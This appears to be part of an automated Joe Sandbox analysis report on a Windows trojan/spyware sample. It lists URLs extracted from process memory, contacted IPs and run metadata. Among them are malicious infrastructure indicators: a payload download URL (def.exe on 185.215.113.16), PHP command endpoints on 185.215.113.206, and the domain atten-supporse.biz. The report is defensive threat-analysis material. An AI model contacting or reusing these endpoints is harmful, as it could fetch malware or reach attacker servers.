https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000021.00000002.3173030335.00000209F6051000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F0C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F777A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3173030335.00000209F602E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/2http://mozilla.org/#/properties/startDatehttp://mozi	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000021.00000002.3139500286.00000209E55D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3015405033.00000209F5460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3145566009.00000209F0DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3146776275.00000209F0EC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3015616706.00000209F5481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3014930010.00000209F541D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3177450546.00000209F66D6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/userFacingName	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 00000021.00000002.3158948654.00000209F3990000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/NzDg	43cdd8ad97.exe, 00000011.00000003.3172841206.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/0	firefox.exe, 00000021.00000002.3231930703.0000262E8FF00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 00000021.00000003.3015206615.00000209F543E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3154219479.00000209F2A70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000003.3015405033.00000209F5460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3014930010.00000209F541D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/referenceBranch	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://json-schema.org/draft-07/schema#https://json-schema.org/draft/2019-09/schema	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/outcomes/items	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000021.00000002.3148604180.00000209F137D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2642547892.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2863957368.00000000055E1000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2863756881.00000000055E3000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3045824922.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3044676578.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3043118993.000000000550B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/featureIds/itemshttp://mozilla.org/#/properties/branches	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bbc.co.uk/	firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000021.00000002.3150145794.00000209F17DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://json-schema.org/draft-07/schema#Unique	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 00000021.00000002.3164594918.00000209F533E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3174482855.00000209F6111000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F69EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6E28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000021.00000002.3173030335.00000209F6051000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/a#Bb	43cdd8ad97.exe, 00000013.00000003.3201240897.0000000000DE1000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3199935113.0000000000DE1000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3201468255.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2942344526.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3136201162.000000000555C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3145566009.00000209F0DAD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2942344526.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3136201162.000000000555C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3145566009.00000209F0DAD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	43cdd8ad97.exe, 00000011.00000002.3296196999.0000000000E86000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.3170621924.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.3173457358.0000000000F0C000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.3172341828.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3225302939.00000209FF80B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/	43cdd8ad97.exe, 00000013.00000003.3126712779.0000000000DD1000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3084946747.0000000000DD1000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3201468255.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3052482961.00000209FD691000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/endDate	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpY	file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000021.00000002.3212917829.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3086752295.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3145566009.00000209F0DAD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpk	file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/about	firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://account.bellmedia.c	firefox.exe, 00000021.00000002.3206895801.00000209F8D60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://youtube.com/	firefox.exe, 00000021.00000002.3145566009.00000209F0D09000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	firefox.exe, 00000021.00000002.3206895801.00000209F8D60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3206895801.00000209F8DA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	43cdd8ad97.exe, 00000011.00000003.2916095631.00000000055E2000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3130961745.00000000056DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212080999.00000209FD15B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3215510453.00000209FD43F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F771A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	43cdd8ad97.exe, 00000011.00000003.2916095631.00000000055E2000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3130961745.00000000056DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212080999.00000209FD15B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3215510453.00000209FD43F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F771A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000021.00000002.3217545814.00000209FD603000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/outcomes	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 00000021.00000002.3222392437.00000209FD8C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	43cdd8ad97.exe, 00000013.00000003.3134835171.00000000058F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3165810332.00000209F5565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3148604180.00000209F137D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000021.00000002.3195369881.00000209F7724000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3059991476.00000209FD23A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3169435535.00000209F5903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD228000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3076795056.00000209FD56E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.co.uk/	firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3052482961.00000209FD691000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/preferences	firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 00000021.00000003.3015405033.00000209F5460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3166315507.00000209F5603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3014930010.00000209F541D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/--#	43cdd8ad97.exe, 00000013.00000003.3255766950.0000000000DED000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3254949889.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 00000021.00000002.3212917829.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3086752295.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 00000021.00000002.3150145794.00000209F1727000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://json-schema.org/draft-07/schema#-	firefox.exe, 00000021.00000003.3103409848.00000209F6E35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6E28000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/L	firefox.exe, 00000021.00000002.3232920233.00002EB7FEC00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.wykop.pl/	firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.olx.pl/	firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3206895801.00000209F8DA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/Z	firefox.exe, 00000021.00000002.3231930703.0000262E8FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3232920233.00002EB7FEC00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpBrowser	file.exe, 00000000.00000002.2642547892.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/id4fb599b7-2bfe-40fa-aec3-5b51dcdef652	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 00000021.00000002.3217545814.00000209FD603000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/appId	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/complete/	firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php6-535557bcc5fal	998d30a932.exe, 00000012.00000002.2948364302.0000000000B66000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpyRY	file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.65.91	services.addons.mozilla.org	United States	54113	FASTLYUS	false
34.118.84.150	home.twentykx20pt.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
18.208.8.205	httpbin.org	United States	14618	AMAZON-AESUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
18.66.161.4	mitmdetection.services.mozilla.com	United States	3	MIT-GATEWAYSUS	false
35.201.103.21	normandy-cdn.services.mozilla.com	United States	15169	GOOGLEUS	false
104.21.16.9	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
142.250.181.142	youtube.com	United States	15169	GOOGLEUS	false
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1565420
Start date and time:	2024-11-29 19:48:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 21m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	57
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@133/98@146/24
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 74.125.205.84, 172.217.19.238, 34.104.35.123, 2.20.68.210, 172.217.21.35, 216.58.208.234, 172.217.19.202, 172.217.19.234, 172.217.17.74, 172.217.19.170, 142.250.181.10, 172.217.17.42, 192.229.221.95, 34.209.229.249, 52.27.142.243, 52.32.237.164, 2.18.86.16, 2.20.41.214, 172.217.21.42, 142.250.181.74, 142.250.181.106, 142.250.181.138, 142.250.181.42, 172.217.17.46, 88.221.134.155, 88.221.134.209, 172.217.17.78, 172.217.17.35
Excluded domains from analysis (whitelisted): ciscobinary.openh264.org, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, clientservices.googleapis.com, a17.rackcdn.com.mdc.edgesuite.net, aus5.mozilla.org, learn.microsoft.com, e11290.dspg.akamaiedge.net, a19.dscg10.akamai.net, clients2.google.com, go.microsoft.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, star-azurefd-prod.trafficmanager.net, learn.microsoft.com.edgekey.net, update.googleapis.com, safebrowsing.googleapis.com, www.gstatic.com, optimizationguide-pa.googleapis.com, fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, detectportal.prod.mozaws.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, umwatson.eve
Execution Graph export aborted for target EBFHJEGDAF.exe, PID 7332 because it is empty
Execution Graph export aborted for target skotes.exe, PID 8104 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
